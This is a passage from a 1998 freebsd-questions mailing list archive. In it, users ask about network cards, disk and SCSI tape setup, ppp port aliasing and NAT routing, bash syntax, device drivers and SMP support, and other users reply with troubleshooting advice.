Apr 1998 19:59:55 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from buckwheat.bigw.org ([205.213.216.49]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id TAA06273 for ; Mon, 6 Apr 1998 19:59:14 -0700 (PDT) (envelope-from dan@bigw.org) Received: from localhost (localhost [[UNIX: localhost]]) by buckwheat.bigw.org (8.8.8/8.8.8) with SMTP id VAA07941 for ; Mon, 6 Apr 1998 21:59:05 -0500 (CDT) Date: Mon, 6 Apr 1998 21:59:04 -0500 (CDT) From: Dan Williams X-Sender: dan@buckwheat To: freebsd-questions@FreeBSD.ORG Subject: network cards Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi, Please respond to my address, dan@bigw.org, as I am not on this list. I have recently put together a FreeBSD machine, and had some problems with networking. First, I had 2.2.2 on it, and used an Infotek NE2000 compatible network card. Everything was connected fine, and link lights wer glowing. But the device timed out, as in ed1: kenel/device timeout. This happened with a number of different NE2000 compatible cards. Next, I put on 2.2.5 with a 3Com 3C509. This was connected, but there was no link light on the hub it was connected to. It also froze the machine when running an Ifconfig on the ep0 driver. We are running 10BaseT. Any help would be appreciated. Dan Williams To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 20:04:08 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id UAA07224 for freebsd-questions-outgoing; Mon, 6 Apr 1998 20:04:08 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from arh0300.urh.uiuc.edu (arh0300.urh.uiuc.edu [130.126.72.10]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id UAA06984; Mon, 6 Apr 1998 20:02:07 -0700 (PDT) (envelope-from dannyman@arh0300.urh.uiuc.edu) Received: (from dannyman@localhost) by arh0300.urh.uiuc.edu (8.8.8/8.8.5) id WAA07314; Mon, 6 Apr 1998 22:02:09 -0500 (CDT) Message-ID: <19980406220209.58577@urh.uiuc.edu> Date: Mon, 6 Apr 1998 22:02:09 -0500 From: dannyman To: Wilfredo Sanchez , freebsd-questions@FreeBSD.ORG, freebsd-hackers@FreeBSD.ORG, freebsd-core@FreeBSD.ORG Subject: Re: Small Request Mail-Followup-To: Wilfredo Sanchez , freebsd-questions@FreeBSD.ORG, freebsd-hackers@FreeBSD.ORG, freebsd-core@FreeBSD.ORG References: <199804070242.TAA16734@scv2.apple.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.89.1i In-Reply-To: <199804070242.TAA16734@scv2.apple.com>; from Wilfredo Sanchez on Mon, Apr 06, 1998 at 06:43:04PM -0800 X-Loop: djhoward@uiuc.edu X-URL: http://www.uiuc.edu/ph/www/djhoward/ Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, Apr 06, 1998 at 06:43:04PM -0800, Wilfredo Sanchez wrote: > > Go to www.dejanews.com and search for "Apple FreeBSD Wilfredo" > > :) > > Yeah, OK, it won't kill me. I'll just keep it in mind. Thanks. :-) Good luck with Rhapsody, btw. You guys don't intend to make your source code public, are you? -dan -- // dannyman yori aiokomete || Our Honored Symbol deserves \\/ http://www.dannyland.org/~dannyman/ || an Honorable Retirement (UIUC) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 20:04:20 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id UAA07432 for freebsd-questions-outgoing; Mon, 6 Apr 1998 20:04:20 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from Kitten.mcs.com (Kitten.mcs.com [192.160.127.90]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id UAA07190 for ; Mon, 6 Apr 1998 20:04:00 -0700 (PDT) (envelope-from jrs@Venus.mcs.net) Received: from Venus.mcs.net (jrs@Venus.mcs.net [192.160.127.92]) by Kitten.mcs.com (8.8.7/8.8.2) with ESMTP id WAA04733 for ; Mon, 6 Apr 1998 22:03:59 -0500 (CDT) Received: from localhost (jrs@localhost) by Venus.mcs.net (8.8.7/8.8.2) with SMTP id WAA05356 for ; Mon, 6 Apr 1998 22:03:59 -0500 (CDT) Date: Mon, 6 Apr 1998 22:03:59 -0500 (CDT) From: "J.R.S. II" To: freebsd-questions@FreeBSD.ORG Subject: floppy install Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I'm would like to do a floppy install on an old 486 laptop. I checked the website and could not find any information on making the istallation disks. Could someone please point me in the right direction. I'm installing on an IBM Thinkpad without the freebsd cd-rom. Can I make install floppies from the ftp site?? JOHN To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 20:06:19 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id UAA07961 for freebsd-questions-outgoing; Mon, 6 Apr 1998 20:06:19 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from nm01.netmex.com (nm01.netmex.com [167.114.26.34]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id UAA07895 for ; Mon, 6 Apr 1998 20:05:50 -0700 (PDT) (envelope-from webmaster@netmex.com) Received: from default ([200.33.78.220]) by nm01.netmex.com (8.8.5/8.6.6) with SMTP id VAA12376 for ; Mon, 6 Apr 1998 21:07:54 -0600 (CST) From: "Ing. Rafael Harari Turquie" To: Date: Sat, 4 Apr 1998 19:43:33 -0600 Message-ID: <01bd6034$3facd860$e14e21c8@default> MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0004_01BD6001.F5126860" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 4.71.1712.3 X-MimeOLE: Produced By Microsoft MimeOLE V4.71.1712.3 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG This is a multi-part message in MIME format. ------=_NextPart_000_0004_01BD6001.F5126860 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hello to all !! I am new in FreeBsd, I like it very much !.. But I need URGENT HELP !! I have already one hard drive. I installed another one !! HOW CAN I MAKE IT WORKS !! I have a Quantum Atlas II 9.1 Gig =20 All the sectors and information are on = http://www.quantum.com/products/hdd/atlas_II/q_at_sp.html I try to use disk label but i dont know how it work !! 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------=_NextPart_000_0004_01BD6001.F5126860-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 20:09:58 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id UAA09371 for freebsd-questions-outgoing; Mon, 6 Apr 1998 20:09:58 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from mail.webspan.net (root@mail.webspan.net [206.154.70.7]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id UAA09353 for ; Mon, 6 Apr 1998 20:09:46 -0700 (PDT) (envelope-from opsys@mail.webspan.net) Received: from orion.webspan.net (orion.webspan.net [206.154.70.5]) by mail.webspan.net (WEBSPAN/970608) with SMTP id XAA03716; Mon, 6 Apr 1998 23:05:57 -0400 (EDT) Date: Mon, 6 Apr 1998 23:09:37 -0400 (EDT) From: Open Systems Networking X-Sender: opsys@orion.webspan.net To: Wilfredo Sanchez cc: dannyman , freebsd-questions@FreeBSD.ORG Subject: Re: Small Request In-Reply-To: <199804070242.TAA16734@scv2.apple.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, 6 Apr 1998, Wilfredo Sanchez wrote: > > Go to www.dejanews.com and search for "Apple FreeBSD Wilfredo" > > :) > > Yeah, OK, it won't kill me. I'll just keep it in mind. Thanks. :-) I took core and hackers off the CC this isnt worth their time. How did this get on usenet anyway? he only mailed the mailing lists. Time to go gimp hunting in the fbsd news groups i guess. hmmm Chris -- "I am closed minded. It keeps the rain out." ===================================| Open Systems Networking And Consulting. FreeBSD 2.2.6 is available now! | Phone: 316-326-6800 -----------------------------------| 1402 N. Washington, Wellington, KS-67152 FreeBSD: The power to serve! | E-Mail: opsys@open-systems.net http://www.freebsd.org | Consulting-Network Engineering-Security ===================================| http://open-systems.net -----BEGIN PGP PUBLIC KEY BLOCK----- Version: 2.6.2 mQENAzPemUsAAAEH/06iF0BU8pMtdLJrxp/lLk3vg9QJCHajsd25gYtR8X1Px1Te gWU0C4EwMh4seDIgK9bzFmjjlZOEgS9zEgia28xDgeluQjuuMyUFJ58MzRlC2ONC foYIZsFyIqdjEOCBdfhH5bmgB5/+L5bjDK6lNdqD8OAhtC4Xnc1UxAKq3oUgVD/Z d5UJXU2xm+f08WwGZIUcbGcaonRC/6Z/5o8YpLVBpcFeLtKW5WwGhEMxl9WDZ3Kb NZH6bx15WiB2Q/gZQib3ZXhe1xEgRP+p6BnvF364I/To9kMduHpJKU97PH3dU7Mv CXk2NG3rtOgLTEwLyvtBPqLnbx35E0JnZc0k5YkABRO0JU9wZW4gU3lzdGVtcyA8 b3BzeXNAb3Blbi1zeXN0ZW1zLm5ldD4= =BBjp -----END PGP PUBLIC KEY BLOCK----- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 20:37:47 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id UAA11643 for freebsd-questions-outgoing; Mon, 6 Apr 1998 20:37:47 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from cplkagan.globaleyes.net (cplkagan.midwest.net [208.235.2.205]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id UAA11633 for ; Mon, 6 Apr 1998 20:37:31 -0700 (PDT) (envelope-from parrothd@midwest.net) Received: from parrothd.houselan.net (parrothd [10.10.0.10]) by cplkagan.globaleyes.net (8.8.7/8.8.5) with SMTP id WAA05740; Mon, 6 Apr 1998 22:37:28 -0500 (CDT) Message-Id: <3.0.5.32.19980406224705.00a38340@midwest.net> X-Sender: parrothd@midwest.net X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.5 (32) Date: Mon, 06 Apr 1998 22:47:05 -0500 To: Andrew Stevens , "freebsd-questions@freebsd.org" From: "Jonathan E. Lyons" Subject: Re: Using ICQ with an IP alias In-Reply-To: Mime-Version: 1.0 Content-Type: text/enriched; charset="us-ascii" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hehhehe.... Try it from an outside source that's not behind the Freebsd box..... If you need a free shell account try freeshells.net.. Hope this helps... At 10:09 PM 4/6/98 -0500, Andrew Stevens wrote: >-- [ From: Andrew Stevens * EMC.Ver #2.5.02 ] -- > >Jon, > > Thanks for the reply: > >>alias port udp 10.10.0.10:21 21 <<<<<<<<--change 21 to 3001 and so on... >>alias port tcp 10.10.0.10:21 21 > > I added the above two lines into ppp.conf with the following revisions: > >alias port udp 192.168.1.3:8080 8080 (192.168.1.3 being the IP of my windows >box; 8080 being the port I assigned to the web server there.) >alias port tcp 192.168.1.3:8080 8080 > > When I attempted to call up the web server on my Windows machine (by >typing "telnet my.current.ip 8080" from the UNIX box), it said "unable to >connect to remote host: Connection refused". Is there another file which >needs to be amended? > >Thanks, > > >Andrew Stevens. > >To Unsubscribe: send mail to majordomo@FreeBSD.org >with "unsubscribe freebsd-questions" in the body of the message > > The beer is too cold, the daiquiris too fruitful, there's no place like home! Jimmy Buffett "The weather is here, Wish you were beautiful" Jon Lyons parrothd@midwest.net 87 HONDA VFR700 http://cplkagan.dyn.ml.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 20:38:02 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id UAA11721 for freebsd-questions-outgoing; Mon, 6 Apr 1998 20:38:02 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from smtp.interlog.com (root@smtp.interlog.com [207.34.202.37]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id UAA11681 for ; Mon, 6 Apr 1998 20:37:52 -0700 (PDT) (envelope-from travis@interlog.com) Received: from lindsay.interlog.com (ip203-100.cc.interlog.com [207.34.203.100]) by smtp.interlog.com (8.8.8/8.8.5) with SMTP id XAA25384 for ; Mon, 6 Apr 1998 23:37:40 -0400 (EDT) Date: Mon, 6 Apr 1998 23:37:40 -0400 (EDT) Message-Id: <1.5.4.16.19980407003619.276f5e52@mail.interlog.com> X-Sender: travis@mail.interlog.com (Unverified) X-Mailer: Windows Eudora Light Version 1.5.4 (16) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" To: questions@FreeBSD.ORG From: lindsay evenson Subject: router questions Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi, Brandon here again, I would just like to thank all you guys at FreeBSD for helping me out with my problems from the past. So far I have almost completed my mission but I am still missing a few things. OK I am running a 386 with FreeBSD version 2.1.7.1 . I have a modem and a network card installed in the computer and they both work. I have two other computers running win95. All three of my computers are networked with TCP/IP, and they all recognise eachother. I also have an internet connection which provides dynamic ip addresses not static, and only one at a time. I have used User PPP to dial up to my ISP and I can connect and use the internet from my FreeBSD machine. What I want to do now is route requests through my FreeBSD machine from my two other computers which are running win95 so that they can now access the internet, and also ping sites on the internet as if directly connected. WHat FreeBSD programs will I need to accomplish this? What sort of setup and editing of files in the FreeBSD machine will I need to do? What will I need to change in my win95 computers (make the gateway point to my freeBSD machine?) ? I have been told in the past to try Natd, but I cant find it on my FreeBSD system. I have also heard that I should use something like, alias?? If you could answer or give me any supplementary information I would greatly appreciate it. Thanks Brandon To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 20:47:00 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id UAA12823 for freebsd-questions-outgoing; Mon, 6 Apr 1998 20:47:00 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from www.adm.kyoto-u.ac.jp (www.adm.kyoto-u.ac.jp [130.54.116.10]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id UAA12816 for ; Mon, 6 Apr 1998 20:46:53 -0700 (PDT) (envelope-from t26v1441@ip.media.kyoto-u.ac.jp) Received: from ma20627n (kyoto-404.seikyou.ne.jp [202.211.151.212]) by www.adm.kyoto-u.ac.jp (950413.SGI.8.6.12/8.6.12) with ESMTP id MAA24486 for ; Tue, 7 Apr 1998 12:34:13 +0900 Message-Id: <199804070334.MAA24486@www.adm.kyoto-u.ac.jp> From: "t26v1441" To: Subject: xev: command not found Date: Tue, 7 Apr 1998 12:34:36 +0900 X-MSMail-Priority: Normal X-Priority: 3 X-Mailer: Microsoft Internet Mail 4.70.1155 MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-2022-JP Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I started using FreeBSD 2 weeks ago.I am using 109 Japanesse keyboard and I want customize my keyboard . I am using 2.2.5 R.when I try to look at keycode by typing xev at command prompt (referring to manual book: FreeBSD Power Guide by SHUWA SYSTEM CO.,LTD.JAPAN),but the command was not found.Is there another command to use with 2.2.5R finding keycodes?Help me please. yippies@hotmail.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 20:53:24 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id UAA13459 for freebsd-questions-outgoing; Mon, 6 Apr 1998 20:53:24 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from runner.jjsoft.com (jahanur.intur.net [206.97.149.64]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id UAA13443 for ; Mon, 6 Apr 1998 20:53:11 -0700 (PDT) (envelope-from jahan@pc.jaring.my) Received: from pc.jaring.my (klg-57-154.tm.net.my [202.188.57.154]) by runner.jjsoft.com (8.8.7/8.8.7) with ESMTP id WAA07626 for ; Mon, 6 Apr 1998 22:54:05 -0500 (CDT) (envelope-from jahan@pc.jaring.my) Message-ID: <35285FC9.EAD87A7A@pc.jaring.my> Date: Mon, 06 Apr 1998 11:53:29 +0700 From: Jahan Reply-To: jahan@pc.jaring.my X-Mailer: Mozilla 4.04 [en] (Win95; I) MIME-Version: 1.0 To: "freebsd-questions@FreeBSD.ORG" Subject: XForm and my not answered problem Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG XForm and pkg is not uptodate in MD5 and pathes, hence causes problem in installing. Who to blame ? pkg /XForm ? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 21:48:58 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id VAA17240 for freebsd-questions-outgoing; Mon, 6 Apr 1998 21:48:58 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from allegro.lemis.com (allegro.lemis.com [192.109.197.134]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id VAA17230 for ; Mon, 6 Apr 1998 21:48:50 -0700 (PDT) (envelope-from grog@lemis.com) Received: from freebie.lemis.com (freebie.lemis.com [192.109.197.137]) by allegro.lemis.com (8.8.7/8.8.5) with ESMTP id OAA12342; Tue, 7 Apr 1998 14:18:46 +0930 (CST) Received: (from grog@localhost) by freebie.lemis.com (8.8.8/8.8.7) id OAA07170; Tue, 7 Apr 1998 14:18:46 +0930 (CST) (envelope-from grog) Message-ID: <19980407141845.51134@freebie.lemis.com> Date: Tue, 7 Apr 1998 14:18:45 +0930 From: Greg Lehey To: Marcus Zafarano Cc: FreeBSD Questions Subject: Re: SCSI Tapes References: <351C2248.751A@lombard.com> <19980328100309.14562@freebie.lemis.com> <351C45D6.6F6B@lombard.com> <19980328110941.28573@freebie.lemis.com> <3523BCA0.5BF@lombard.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.89i In-Reply-To: <3523BCA0.5BF@lombard.com>; from Marcus Zafarano on Thu, Apr 02, 1998 at 08:28:16AM -0800 WWW-Home-Page: http://www.lemis.com/~grog Organization: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-41-739-7062 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thu, 2 April 1998 at 8:28:16 -0800, Marcus Zafarano wrote: > Greg Lehey wrote: >> >> We need that dmesg output. > > Here is the dmesg out put for the last boot. > (snip) > ahc0: aic7880 Wide Channel, SCSI Id=7, 16 SCBs > ahc0 waiting for scsi devices to settle > (ahc0:1:0): "QUANTUM FIREBALL_TM2110S 300X" type 0 fixed SCSI 2 > sd0(ahc0:1:0): Direct-Access 2014MB (4124736 512 byte sectors) > (ahc0:3:0): "TEAC CD-ROM CD-516S 1.0D" type 5 removable SCSI 2 > cd0(ahc0:3:0): CD-ROM cd present [332512 x 2048 byte records] > (ahc0:6:0): "IBM DCAS-34330W S61A" type 0 fixed SCSI 2 > sd1(ahc0:6:0): Direct-Access 4134MB (8467200 512 byte sectors) This is the information for your SCSI chain. It shows a 2 GB Quantum on ID 0, a TEAC CD-ROM drive on ID 3, and an IBM 4 GB drive on ID 6. No tape. > sd0(ahc0:1:0): Direct-Access 2014MB (4124736 512 byte sectors) > > this looks like the tape unit to me, but in /dev/???? I don't see that > it is > configured? No, this is your first SCSI disk (/dev/sd0*). Look at the beginning of the line. So why isn't the tape drive being found? This is typically a cabling problem, or possibly you have the ID set incorrectly. Possibly, also, you have another device which is conflicting with it, in which case both of them won't show. > Oh, I appreciate your help, sorry I haven't mentioned this before! You're welcome. Greg To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 21:52:03 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id VAA17981 for freebsd-questions-outgoing; Mon, 6 Apr 1998 21:52:03 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from shell6.ba.best.com (jkb@shell6.ba.best.com [206.184.139.137]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id VAA17945 for ; Mon, 6 Apr 1998 21:51:54 -0700 (PDT) (envelope-from jkb@best.com) Received: from localhost (jkb@localhost) by shell6.ba.best.com (8.8.8/8.8.BEST) with SMTP id VAA12839; Mon, 6 Apr 1998 21:51:43 -0700 (PDT) X-Authentication-Warning: shell6.ba.best.com: jkb owned process doing -bs Date: Mon, 6 Apr 1998 21:51:39 -0700 (PDT) From: Jan Koum X-Sender: jkb@shell6.ba.best.com To: Doug White cc: questions@FreeBSD.ORG Subject: Re: "Read error" part II In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hmm.. I thought it wouldn't matter since Adaptec and it's BIOS would handle it, no? Yes, the PC has Award BIOS I think. Not sure about Adaptec's BIOS version however. -- Yan Jan Koum jkb@best.com | "Turn up the lights; I don't want www.FreeBSD.org -- The Power to Serve | to go home in the dark." On Mon, 6 Apr 1998, Doug White wrote: >On Sun, 5 Apr 1998, Jan Koum wrote: > >> Same problem, different machine. I am installing 2.2.6-RELEASE on >> Seagate Barracuda 34371W SCSI disk with 2940UW Adaptec card. All disk is >> going to the FreeBSD ("dangerous dedicated" mode). Every time after >> install I get "Read Error". I tried to use different geometries and >> even splitting the drive into different BSD partitions. No luck. > >What BIOS? Award BIOSes are known to get pushy about the disklabel. > >Doug White | University of Oregon >Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant >http://gladstone.uoregon.edu/~dwhite | Computer Science Major > > > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 22:37:53 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id WAA22418 for freebsd-questions-outgoing; Mon, 6 Apr 1998 22:37:53 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from ms11.hinet.net (root@ms11.hinet.net [168.95.4.11]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id WAA22413 for ; Mon, 6 Apr 1998 22:37:44 -0700 (PDT) (envelope-from jwlo@ms11.hinet.net) Received: from ms11.hinet.net (dialup249.cyut.edu.tw [163.17.3.249] (may be forged)) by ms11.hinet.net (8.8.8/8.8.8) with ESMTP id NAA01169 for ; Tue, 7 Apr 1998 13:40:05 +0800 (CST) Message-ID: <3529BAD7.E978AA40@ms11.hinet.net> Date: Tue, 07 Apr 1998 13:34:15 +0800 From: Doug Lo Reply-To: jwlo@ms11.hinet.net X-Mailer: Mozilla 4.05 [en] (Win95; I) MIME-Version: 1.0 To: freebsd-questions@FreeBSD.ORG Subject: Writing device drivers. Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi, I want to write device drivers on FreeBSD, would anyone know where has information about it? Thanks in advance, Doug. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 23:07:36 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id XAA26765 for freebsd-questions-outgoing; Mon, 6 Apr 1998 23:07:36 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from odyssey.apana.org.au (odyssey.apana.org.au [203.11.114.1]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id XAA26754 for ; Mon, 6 Apr 1998 23:07:28 -0700 (PDT) (envelope-from dean@odyssey.apana.org.au) Received: from localhost (dean@localhost) by odyssey.apana.org.au (8.8.7/8.8.7) with SMTP id OAA09048 for ; Tue, 7 Apr 1998 14:09:11 +0800 (WST) Date: Tue, 7 Apr 1998 14:09:11 +0800 (WST) From: Dean Hollister To: FreeBSD Questions Subject: bash question Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi, Just a quick (and no doubt easy question). I have a bash script, and want to check if a value is greater than 100 and less than 1000. I get as far as: if [ $value what goes in here? ]; then dosomething fi Any help appreciated. Regards, d. +-------------------------------------------------------+ | Dean Hollister, | dean@odyssey.apana.org.au | | Perth, Western Australia. | deanh@iinet.net.au | +-------------------------------------------------------+ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 23:48:34 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id XAA05779 for freebsd-questions-outgoing; Mon, 6 Apr 1998 23:48:34 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from relay.ucb.crimea.ua (relay.ucb.crimea.ua [194.93.177.113]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id XAA05577 for ; Mon, 6 Apr 1998 23:46:56 -0700 (PDT) (envelope-from ru@ucb.crimea.ua) Received: (from ru@localhost) by relay.ucb.crimea.ua (8.8.8/8.8.8) id JAA07306; Tue, 7 Apr 1998 09:44:30 +0300 (EEST) (envelope-from ru) Message-ID: <19980407094430.13351@ucb.crimea.ua> Date: Tue, 7 Apr 1998 09:44:30 +0300 From: Ruslan Ermilov To: freebsd-questions@FreeBSD.ORG Subject: Re: Writing device drivers. Mail-Followup-To: freebsd-questions@FreeBSD.ORG References: <3529BAD7.E978AA40@ms11.hinet.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.89.1i In-Reply-To: <3529BAD7.E978AA40@ms11.hinet.net>; from Doug Lo on Tue, Apr 07, 1998 at 01:34:15PM +0800 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, Apr 07, 1998 at 01:34:15PM +0800, Doug Lo wrote: > Hi, > > I want to write device drivers on FreeBSD, would anyone know where has > information about it? > Go to the http://www.freebsd.org/tutorials. See ``FreeBSD Device Driver Writer's Guide''. Regards, -- Ruslan Ermilov System Administrator ru@ucb.crimea.ua United Commercial Bank +380-652-247647 Simferopol, Crimea 2426679 ICQ Network, UIN To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 00:01:07 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id AAA07804 for freebsd-questions-outgoing; Tue, 7 Apr 1998 00:01:07 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from pan.wt.net (pan.wt.net [205.230.159.31]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id AAA07790 for ; Tue, 7 Apr 1998 00:00:59 -0700 (PDT) (envelope-from thepro@wt.net) Received: from wt.net (208-236-17-21.wt.net [208.236.17.21]) by pan.wt.net (8.8.8/8.7.3) with ESMTP id CAA10592 for ; Tue, 7 Apr 1998 02:02:32 -0500 Message-ID: <3529CE8B.F4EFB929@wt.net> Date: Tue, 07 Apr 1998 01:58:20 -0500 From: El Diablo X-Mailer: Mozilla 4.05 [en] (Win95; I) MIME-Version: 1.0 To: freebsd-questions@FreeBSD.ORG Subject: smp Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG does FreeBSD support SMP well? I have a dual pentium 200! ;) want to use that extra processor. if bsd does support smp how well does it support it. i bought freeBSD hoping to make use of it, i really like BSD too thanks To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 00:12:06 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id AAA09413 for freebsd-questions-outgoing; Tue, 7 Apr 1998 00:12:06 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from hunter.softcon.de (hunter.softcon.de [193.31.11.194]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id AAA09381 for ; Tue, 7 Apr 1998 00:12:01 -0700 (PDT) (envelope-from Matthias.Apitz@SOFTCON.de) From: Matthias.Apitz@SOFTCON.de Received: (from mail@localhost) by hunter.softcon.de (8.6.9/8.6.12) id JAA02856 for ; Tue, 7 Apr 1998 09:12:32 +0200 Received: from boell.softcon.de(193.31.10.71) by hunter.softcon.de via smap (V1.3) id sma002854; Tue Apr 7 09:12:30 